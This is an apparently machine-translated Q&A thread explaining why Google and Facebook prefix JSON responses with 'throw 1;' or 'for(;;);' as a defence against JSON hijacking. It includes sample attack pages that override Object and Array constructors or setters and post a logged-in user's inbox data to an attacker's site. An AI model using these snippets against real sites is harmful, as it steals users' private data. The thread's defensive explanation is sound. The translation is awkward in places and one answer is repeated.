可能的重复: 为什么谷歌在while(1)前面;他们的JSON响应?

谷歌返回这样的json:

throw 1; <dont be evil> { foo: bar}

和facebook ajax有这样的json:

for(;;); {"error":0,"errorSummary": ""}

为什么他们写的代码会停止 执行和使无效的json? 如果它无效,他们如何解析它 如果你试着eval它会崩溃 它吗? 他们只是把它从 字符串(看起来很贵)? 有什么安全优势吗 这个吗?

出于安全考虑:

如果scraper在另一个域上,他们将不得不使用脚本标记来获取数据,因为XHR不能跨域工作。即使没有for(;;);攻击者如何获取数据?它没有被赋值给变量,所以它不会因为没有引用而被垃圾收集吗?

基本上,为了让数据跨域,他们必须这么做

<script src="http://target.com/json.js"></script>

但即使没有预先准备的崩溃脚本,攻击者也不能使用任何Json数据,除非它被分配给一个你可以全局访问的变量(在这些情况下不是这样)。崩溃代码实际上什么也不做,因为即使没有它,他们也必须使用服务器端脚本来使用站点上的数据。


当前回答

编辑

These strings are commonly referred to as an "unparseable cruft" and they are used to patch an information leakage vulnerability that affects the JSON specification. This attack is real world and a vulnerability in gmail was discovered by Jeremiah Grossman. Mozilla also believes this to be a vulnerability in the JSON specification and it has been patched in Firefox 3. However because this issue still affects other browsers this "unparseable cruft" is required because it is a compatible patch.

博比斯的回答对这种攻击有一个技术上的解释,而且是正确的。

其他回答

编辑

These strings are commonly referred to as an "unparseable cruft" and they are used to patch an information leakage vulnerability that affects the JSON specification. This attack is real world and a vulnerability in gmail was discovered by Jeremiah Grossman. Mozilla also believes this to be a vulnerability in the JSON specification and it has been patched in Firefox 3. However because this issue still affects other browsers this "unparseable cruft" is required because it is a compatible patch.

博比斯的回答对这种攻击有一个技术上的解释,而且是正确的。

想想看,在检查你的GMail账户后,你去访问我的邪恶页面:

<script type="text/javascript">
Object = function() {
  ajaxRequestToMyEvilSite(JSON.serialize(this));
}
</script>
<script type="text/javascript" src="http://gmail.com/inbox/listMessage"></script>

现在要发生的是,来自谷歌的Javascript代码——请求者认为它是良性的,但立即超出了范围——实际上将被发布到我的邪恶站点。假设在脚本标记中请求的URL发送(因为您的浏览器将显示正确的cookie,谷歌将正确地认为您已登录到您的收件箱):

({
  messages: [
    {
      id: 1,
      subject: 'Super confidential information',
      message: 'Please keep this to yourself: the password is 42'
    },{
      id: 2,
      subject: 'Who stole your password?',
      message: 'Someone knows your password! I told you to keep this information to yourself! And by this information I mean: the password is 42'
    }
  ]
})

现在,我将把这个对象的序列化版本发布到我的邪恶服务器上。谢谢你!

防止这种情况发生的方法是将JSON响应拼凑起来,并在来自同一域的您可以操作该数据时将其分解。如果你喜欢这个答案,请看看bobince发布的答案。

他们如何解析它,如果它是无效的,会崩溃,如果你试图eval 它吗?

这是一个功能,它会崩溃,如果你试图评估它。eval允许任意JavaScript代码,可以用于跨站点脚本攻击。

他们只是从字符串中删除它(似乎很昂贵)?

我想是的。可能是这样的:

function parseJson(json) {
   json = json.replace("throw 1; <dont be evil>", "");
   if (/* regex to validate the JSON */) {
       return eval(json);
   } else {
       throw "XSS";
   }
}

“不要作恶”的诀窍阻止开发人员直接使用eval,而不是使用更安全的替代方法。

即使没有for(;;);攻击者如何获取数据?

攻击是基于改变内置类型的行为,特别是对象和数组,通过改变它们的构造函数或原型。然后,当目标JSON使用{…}或[…]构造,它们将是这些对象的攻击者自己的版本,具有潜在的意想不到的行为。

例如,你可以将一个setter-property黑进Object,这将泄露写在对象字面量中的值:

Object.prototype.__defineSetter__('x', function(x) {
    alert('Ha! I steal '+x);
});

然后,当<script>指向使用该属性名的JSON时:

{"x": "hello"}

值“hello”将被泄漏。

数组和对象字面量导致调用setter的方式是有争议的。Firefox在3.5版中删除了这种行为,以应对针对知名网站的公开攻击。然而,在编写Safari(4)和Chrome(5)时,仍然容易受到这种攻击。

现在所有浏览器都不允许的另一种攻击是重定义构造函数:

Array= function() {
    alert('I steal '+this);
};

[1, 2, 3]

目前,IE8的属性实现(基于ECMAScript第五版标准和Object. defineproperty)目前不能在Object上工作。prototype或Array.prototype。

但是,在保护过去的浏览器的同时,对JavaScript的扩展可能会在未来导致更多类似类型的潜在泄露,在这种情况下,chaff也应该防止这些泄露。